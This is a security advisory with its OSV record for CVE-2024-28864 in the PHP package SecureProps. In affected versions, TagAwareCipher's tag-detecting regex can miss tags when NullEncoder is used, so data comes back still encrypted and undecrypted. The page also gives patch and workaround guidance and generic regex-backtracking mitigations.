The vulnerability affects users who implement TagAwareCipher with any base cipher that has NullEncoder (not default).

Patches

The patch for the issue has been released. Users are advised to update to version 1.2.2.

Workarounds

The main recommendation is to update to the latest version as there are no breaking changes.

If that's not possible, you can use the default Base64Encoder with the base cipher decorated with TagAwareCipher to prevent special characters in the encrypted string from interfering with regex tag detection logic.

This workaround is safe but may involve double encoding since TagAwareCipher uses Base64Encoder by default.

References

Reported issue: https://github.com/IlicMiljan/Secure-Props/issues/20 Pull request resolving bug: https://github.com/IlicMiljan/Secure-Props/pull/21

Severity
2.6 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "ilicmiljan/secure-props"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-18T20:39:00Z",
    "nvd_published_at": "2024-03-18T22:15:09Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nVulnerability in **SecureProps** involves a regex failing to detect tags during decryption of encrypted data. \n\nThis occurs when the encrypted data has been encoded with `NullEncoder` and passed to `TagAwareCipher`, and contains special characters such as `\\n`. As a result, the decryption process is skipped since the tags are not detected. This causes the encrypted data to be returned in plain format. \n\nThe vulnerability affects users who implement `TagAwareCipher` with any base cipher that has `NullEncoder` (not default).\n\n### Patches\n\nThe patch for the issue has been released. Users are advised to update to version **1.2.2**.\n\n### Workarounds\n\n**The main recommendation is to update to the latest version as there are no breaking changes.**\n\nIf that\u0027s not possible, you can use the default `Base64Encoder` with the base cipher decorated with `TagAwareCipher` to prevent special characters in the encrypted string from interfering with regex tag detection logic. \n\nThis workaround is safe but may involve double encoding since `TagAwareCipher` uses `Base64Encoder` by default.\n \n### References\n\nReported issue: https://github.com/IlicMiljan/Secure-Props/issues/20\nPull request resolving bug: https://github.com/IlicMiljan/Secure-Props/pull/21\n",
  "id": "GHSA-rj29-j2g4-77q8",
  "modified": "2024-03-19T18:30:48Z",
  "published": "2024-03-18T20:39:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/IlicMiljan/Secure-Props/security/advisories/GHSA-rj29-j2g4-77q8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28864"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IlicMiljan/Secure-Props/issues/20"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IlicMiljan/Secure-Props/pull/21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/IlicMiljan/Secure-Props/commit/ab7b561040cd37fda3dbf9a6cab01fefcaa16627"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/IlicMiljan/Secure-Props"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "[TagAwareCipher] - Decryption Failure (Regex Match)"
}
Mitigation
Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

Mitigation
System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.

Mitigation
Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

Mitigation
Implementation

Limit the length of the input that the regular expression will process.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list